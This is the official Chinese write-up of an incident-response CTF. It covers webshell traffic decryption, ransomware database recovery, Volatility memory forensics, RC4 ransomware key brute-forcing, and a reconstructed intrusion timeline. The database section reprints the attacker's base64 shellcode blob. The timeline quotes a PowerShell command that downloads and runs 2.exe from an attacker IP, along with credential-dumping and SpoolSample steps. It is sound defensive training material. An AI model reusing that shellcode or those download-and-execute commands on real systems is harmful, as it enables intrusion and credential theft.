就在几天前,第一届Solar杯·应急响应挑战赛圆满落下帷幕。这场比赛汇聚了来自全国的网络安全精英,选手们在激烈的技术较量中展现了非凡的能力和智慧。为延续比赛的技术交流与分享精神,我们很高兴向大家呈现本次比赛的官方WP(Writeup)。本篇官方WP将深入解析比赛中的关键赛题,从流量分析到勒索病毒破解,逐步还原真实案例中的技术细节与解决思路。 需要特别说明的是,文中所呈现的这些方法和思路,均基于真实应急响应场景设计,虽然可能并非所有情况下的最优解,但我们希望它们能够为您提供有价值的参考,助力您在未来的应急响应中更加高效地应对复杂多变的安全挑战。让我们一同走进这场技术盛宴,探索网络安全应急响应的更多可能!
1.流量分析
1.1 文件排查
新手运维小王的Geoserver遭到了攻击:
黑客疑似删除了webshell后门,小王找到了可能是攻击痕迹的文件但不一定是正确的,请帮他排查一下。
从日志分析得知攻击者ip为10.0.100.22对该站点有目录扫描行为与b.jsp交互频繁疑似为上传webshell
当访问 JSP 页面时,Tomcat 会根据 JSP 页面动态生成一个 Java 类(.java
),然后将其编译为 .class
文件。生成的 .class
文件是 Tomcat 用来处理请求并返回响应的实际代码。这个过程是动态的,Tomcat 会在后台管理这些文件的编译和更新。路径一般为:<Tomcat_home>/work/Catalina/<host>/<webapp>/org/apache/jsp/
查看b_jsp.java判断为哥斯拉webshell
base64解码code
1 | f!l^a * g{A7b4_X9zK_2v8N_wL5q4}
|
1.2 流量解密
新手运维小王的Geoserver遭到了攻击:
小王拿到了当时被入侵时的流量,其中一个IP有访问webshell的流量,已提取部分放在了两个pcapng中了。请帮他解密该流量。
1 | flag{sA4hP_89dFh_x09tY_lL4SI4}
|
1.3 文件提取
新手运维小王的Geoserver遭到了攻击:
小王拿到了当时被入侵时的流量,黑客疑似通过webshell上传了文件,请看看里面是什么。
使用流量解密工具进行解密流量并删除无用部分后另存为pdf
1 | flag{dD7g_jk90_jnVm_aPkcs}
|
2.数据库
说明:由于黑客在攻击时可能会修改用户口令、锁定登陆、破坏系统导致无法进入操作系统,因此本题不提供密码
VMware虚拟机进入pe系统: pe镜像下载地址
https://www.hotpe.top/download/
在虚拟机编辑设置CD/DVD处选择pe镜像
选择电源-->打开电源时进入固件
在boot选项中调整启动顺位
可以在源系统盘看到勒索信X3rmENR07.README.txt,被加密的文件后缀为.X3rmENR07
搜索后缀名得知为lockbit勒索家族
2.1 攻击者创建隐藏账户的时间
查看原系统Security.evtx日志文件
flag
1 | flag{ 2024 / 12 / 16 15 : 24 : 21 }
|
2.2 恶意文件的名称
2.3 外联地址
在恶意文件的配置文件中可以看到外联的url为“sierting.com”
dns解析为“203.107.45.167”
2.4 数据库修复
使用数据库修复工具“D-Recovery SQL Server”进行修复
选择被加密的数据库文件,在”选择参照mdf文件“中选择”【非题目】题mssql-备份数据库(可能会用到)“中的纯表结构文件
2.5 逆向恶意powoshell的md5值
可以在“Windows PowerShell.evtx”日志文件中看到PowerShell执行情况
可以看到攻击者在2024/12/16 15:23:01执行的PowerShell其中的
New-Object System.IO.MemoryStream:用于 Base64 编码的字符串创建内存流。
System.IO.Compression.GzipStream:解压缩 Gzip 编码的数据流。
ReadToEnd():读取并执行解压后的数据内容。
解密脚本
1 2 3 4 5 6 7 8 9 | import base64
base64_data =
padding = '=' * ( 4 - len (base64_data) % 4 )
base64_data + = padding
compressed_data = base64.b64decode(base64_data)
with open ( "output.gz" , "wb" ) as f:
f.write(compressed_data)
print ( "保存成功" )
|
打开test.txt再次解密
1 2 3 4 5 6 7 8 9 | import base64
base64_data = "/EiD5PDozAAAAEFRQVBSUUgx0lZlSItSYEiLUhhIi1IgTTHJSItyUEgPt0pKSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0ItIGESLQCBJAdBQ41ZI/8lNMclBizSISAHWSDHAQcHJDaxBAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEFYQVheSAHQWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCAAG9wKiu3EFUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1WoKQV5QUE0xyU0xwEj/wEiJwkj/wEiJwUG66g/f4P/VSInHahBBWEyJ4kiJ+UG6maV0Yf/VhcB0Ckn/znXl6JMAAABIg+wQSIniTTHJagRBWEiJ+UG6AtnIX//Vg/gAflVIg8QgXon2akBBWWgAEAAAQVhIifJIMclBulikU+X/1UiJw0mJx00xyUmJ8EiJ2kiJ+UG6AtnIX//Vg/gAfShYQVdZaABAAABBWGoAWkG6Cy8PMP/VV1lBunVuTWH/1Un/zuk8////SAHDSCnGSIX2dbRB/+dYagBZScfC8LWiVv/V"
padding = '=' * ( 4 - len (base64_data) % 4 )
base64_data + = padding
decoded_data = base64.b64decode(base64_data)
with open ( 'data.bin' , 'wb' ) as file :
file .write(decoded_data)
print ( "保存成功" )
|
1 | flag{d72000ee7388d7d58960db277a91cc40}
|
3.内存取证
获取镜像信息
1 | volatility_2. 6_win64_standalone .exe - f SERVER - 2008 - 20241220 - 162057.raw imageinfo
|
3.1 远程rdp连接的跳板地址:
1 | volatility_2. 6_win64_standalone .exe - f SERVER - 2008 - 20241220 - 162057.raw - - profile = Win7SP1x64 netscan
|
3.2 攻击者下载黑客工具的IP地址:
1 | volatility_2. 6_win64_standalone .exe - f SERVER - 2008 - 20241220 - 162057.raw - - profile = Win7SP1x64 cmdscan
|
3.3 黑客获取的“FusionManager节点操作系统帐户(业务帐户)”的密码是什么:
查看攻击者执行的命令,读取了桌面的pass.txt文件
查找pass.txt
1 | volatility_2. 6_win64_standalone .exe - f SERVER - 2008 - 20241220 - 162057.raw - - profile = Win7SP1x64 filescan | findstr "pass.txt"
|
dump 文件
1 | volatility_2. 6_win64_standalone .exe - f SERVER - 2008 - 20241220 - 162057.raw - - profile = Win7SP1x64 dumpfiles - Q 0x000000007e4cedd0 - D C:\data
|
查看文件内容
3.4 攻击者创建的用户:
Security.evtx记录安全相关的事件,如登录、权限更改、系统策略修改等
搜索 Security.evtx 日志文件
1 | volatility_2. 6_win64_standalone .exe - f SERVER - 2008 - 20241220 - 162057.raw - - profile = Win7SP1x64 filescan | findstr "Security.evtx"
|
dump 日志文件
1 | volatility_2. 6_win64_standalone .exe - f SERVER - 2008 - 20241220 - 162057.raw - - profile = Win7SP1x64 dumpfiles - Q 0x000000007e744ba0 - D C:\data
|
修改后缀为.evtx,查看
3.5 攻击者利用跳板rdp登录的时间
1 | flag{ 2024 / 12 / 21 00 : 15 : 34 }
|
3.6 攻击者创建用户的密码哈希值:
1 | volatility_2. 6_win64_standalone .exe - f SERVER - 2008 - 20241220 - 162057.raw - - profile = Win7SP1x64 hashdump
|
1 | flag{ 5ffe97489cbec1e08d0c6339ec39416d }
|
4.逆向破解
在createfileW处下断点,
断住之后发现输入的参数为一个文件路径
跟踪发现这里使用随机数生成了六位密钥
将生成的密钥%10,即生成0-9的密钥
明显的rc4特征,rc4密钥初始化
交换数组位置,这里就是利用key生成s盒,相当于
1 2 3 4 | for i in 0..256 {
j = (j + s[i] + key[i % key.len()] ) % 256;
s.swap(i, j);
}
|
使用刚刚读取到的内容(v5),利用PRGA生成秘钥流并与密文字节异或,完成rc4加密
生成字符串
如下
再次生成字符串
如下
将加密后的字符串和自解密生成的字符串拼接,其中自解密生成的字符串无实际用途,每次生成的都一样,仅为加密特征。
创建文件
写入文件
由于密钥是随机生成的,但是因为密钥只有6位而且取值为0-10,因此可以直接爆破出结果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 | import itertools
import os
from concurrent.futures.thread import ThreadPoolExecutor
def rc4(key, data):
key_length = len (key)
S = list ( range ( 256 ))
j = 0
for i in range ( 256 ):
j = (j + S[i] + key[i % key_length]) % 256
S[i], S[j] = S[j], S[i]
i = 0
j = 0
result = []
for byte in data:
i = (i + 1 ) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
K = S[(S[i] + S[j]) % 256 ]
result.append(byte ^ K)
return result
def is_printable(data):
try :
return all ( 32 < = byte < = 126 for byte in data)
except TypeError:
return False
ciphertext = []
def run(key_tuple ):
key = list (key_tuple)
decrypted_data = rc4(key, ciphertext)
if is_printable(decrypted_data):
decrypted_string = ''.join( chr (byte) for byte in decrypted_data)
if 'flag' in decrypted_string:
print (f "找到有效密钥: {key} -> 解密结果: {decrypted_string}" )
max_threads = os.cpu_count() * 2
print (max_threads)
with ThreadPoolExecutor(max_workers = max_threads) as executor:
executor. map (run, itertools.product( range ( 0 , 10 ), repeat = 6 ))
|
其中加密后缀为一个假的flag,但是可以解出结果
5.综合应急
24/12/18 9:01:40分以sa账户连接数据库
24/12/18 9:02:04 由sqlservr.exe通过clr调用cmd.exe而后执行powershell -c iwr -uri http://10.0.100.85:81/2.exe -o C:/windows/tasks/2.exe
24/12/18 9:02:08 执行木马
24/12/18 9:02:15创建管道spoolss,9:02:18 获取system权限
24/12/18 9:02:50访问进程lsass.exe,推测攻击者从中获取哈希
24/12/18 9:03:27 使用sql01账户通过wmi连接服务器
24/12/18 9:03:54 创建用户admin
24/12/18 9:03:55发现攻击者ip 10.0.100.85
24/12/18 9:05:14加载了pv.ps1,从文本中可发现该脚本实际为PowerView.ps1,主要作用是在域内做信息收集。
24/12/18 9:10:44 进行dns查询
24/12/18 9:11:15 修改administrator账户密码为Password@123
24/12/18 9:11:24.000 攻击者使用sql01本地管理员administrator账户RDP登陆服务器
24/12/18 9:11:26.000 修改防火墙配置
24/12/18 9:16:19.220 攻击者使用sql01账户登陆sql02数据库,之后执行命令下载木马并执行木马,提权后修改了sql02本地管理员administrator
24/12/18 9:22:07.000 疑似利用web漏洞执行命令
24/12/18 9:26:46.000 创建调用PowerView.ps1
24/12/18 9:33:54.000 web应用为域用户iis权限
24/12/18 9:59:44.000 修改web01本地管理员administrator密码
24/12/18 9:59:50 rdp连接
24/12/18 10:12:14 关闭防火墙
24/12/18 10:12:19 攻击者利用无约束委派请求票据,获取票据后利用票据获取域内账户hash
24/12/18 10:31:08 攻击者通过winrm使用administrator哈希登陆dc02
24/12/18 10:31:20 修改域管理员密码
24/12/18 10:31:28 RDP登陆
24/12/18 10:31:49-24/12/18 10:31:50 上传黑客工具
24/12/18 10:48:39 执行命令SpoolSample.exe dc03 dc02
24/12/18 10:53:02.000 注入票据
24/12/18 16:35:22 攻击者使用333.exe工具使10.0.11.6与10.0.11.8进行tcp连接
24/12/18 16:37:14 攻击者使用333.exe工具使10.0.11.6与10.0.11.10进行tcp连接